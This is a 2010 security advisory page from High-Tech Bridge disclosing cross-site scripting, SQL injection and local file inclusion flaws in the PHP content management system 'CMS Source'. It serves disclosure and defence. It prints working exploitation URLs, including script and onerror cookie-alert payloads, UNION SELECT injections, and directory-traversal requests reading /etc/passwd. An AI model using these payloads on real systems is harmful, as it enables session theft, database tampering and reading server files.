High-Tech Bridge Security Advisories are CVE Compatible    High-Tech Bridge Security Advisories CWE Compatibility    High-Tech Bridge Security Advisories CVSS Adopters
Vendor Statistics

286 software vendors have fixed 926 vulnerabilities in their products thanks to High-Tech Bridge Security Research Lab.

Patch Available Upon Disclosure

2014 Q1: 87%2013 Q2: 92%
2013 Q4: 67%2013 Q1: 100%
2013 Q3: 77%2012 Q4: 68%

Vendor Average Time to Patch

2014 Q1: 5 days 2013 Q2: 30 days
2013 Q4: 8 days 2013 Q1: 13 days
2013 Q3: 13 days 2012 Q4: 26 days

High-Tech Bridge Newsletter

Subscribe to our newsletter and receive some or all of our corporate news, invitations to security events or HTB Security Advisories – you choose what you want to receive.

Multiple Vulnerabilities in CMS Source

Advisory ID:HTB22546
Product:CMS Source
Vendor:Proud Daddy Web Design
Vulnerable Versions:Current on 28.07.2010 and probably prior
Tested Version:Current on 28.07.2010
Advisory Publication:July 28, 2010 [without technical details]
Vendor Notification:July 28, 2010
Public Disclosure:August 11, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
SQL Injection [CWE-89]
PHP File Inclusion [CWE-98]
Risk Level:High
CVSSv2 Base Scores:4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
7.6 (AV:N/AC:H/Au:N/C:C/I:C/A:C)
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in CMS Source, which could be exploited to perform cross-site scripting and SQL Injection attacks and compromise vulnerable system.


1) Cross-site scripting (XSS) vulnerabilities in CMS Source

1.1 The vulnerability exists due to input sanitation error in the "subtarget" parameter (when "target" is set to "articles"), in the "searchstring" parameter (when "target" is set to "search") in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/home/demo1/index.php?target=articles&subtarget=X%3Cscript%3Ealert%28document.cookie%29%3 C/script%3E

http://host/home/demo1/index.php?target=search&subtarget=top&searchstring=%3Cimg+src=0+onerror=alert %28document.cookie%29%3E

1.2 The vulnerability exists due to input sanitation error in the "subtarget" parameter (when "target" is set to "Home")in manage.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.

Exploitation examples:

http://host/home/demo1/manage.php?target=Home&subtarget=top%27%22%3E%3Cscript%3Ealert%28document.coo kie%29%3C/script%3E


2) SQL injection vulnerabilities in CMS Source

The vulnerability exists due to input sanitation error in the "mytitle", "selected" and "searchstring" parameters in index.php. A remote attacker can send a specially crafted HTTP GET request to the vulnerable script and execute arbitrary SQL commands in application`s database. Successful exploitation may allow an attacker to read, modify, add or delete arbitrary data in the database.

Exploitation examples:

http://host/home/demo1/index.php?target=actioncenter&subtarget=petition&mytitle=XX%27+ANY_SQL_CODE+- -+
http://host/home/demo1/index.php?target=actioncenter&subtarget=petition&mytitle=XX%27+union+sele ct+1,2,3,user%28%29,5,6,7+--+

http://host/home/demo1/index.php?target=articles&subtarget=Article_Detail&selected=50+ANY_SQL_CODE+- -+
http://host/home/demo1/index.php?target=articles&subtarget=Article_Detail&selected=50+union+sele ct+user%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+

http://host/home/demo1/index.php?target=search&subtarget=top&searchstring=%27/**/SQL_CODE


3) Local file inclusion vulnerabilities in CMS Source

Input passed to the "target" parameter in index.php and manage.php is not properly sanitized before being used to include local files. A remote attacker can include arbitrary files on the target system using directory traversal sequences.

Exploitation examples:

http://host/home/demo1/index.php?target=./../../../../../../../../../../../../etc/passwd%00
http:// host/home/demo1/index.php?target=./../../../../../../../../../../../../path/to/php_file%00

http://host/home/demo1/manage.php?target=./../../../../../../../../../../../../etc/passwd%00
http:/ /host/home/demo1/manage.php?target=./../../../../../../../../../../../../path/to/php_file%00


Solution:
Currently we are not aware of any vendor-supplied patches or other solutions. The vendor was contacted in accordance to our Vendor Notification Policy but we didn't get any answer or feedback.


ImmuniWeb® by High-Tech Bridge


References:
[1] High-Tech Bridge Advisory HTB22546 - https://www.htbridge.com/advisory/HTB22546 - Multiple vulnerabilities in CMS Source
[2] CMS Source - prouddaddy.net - CMS Source is a content management system written in PHP.
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.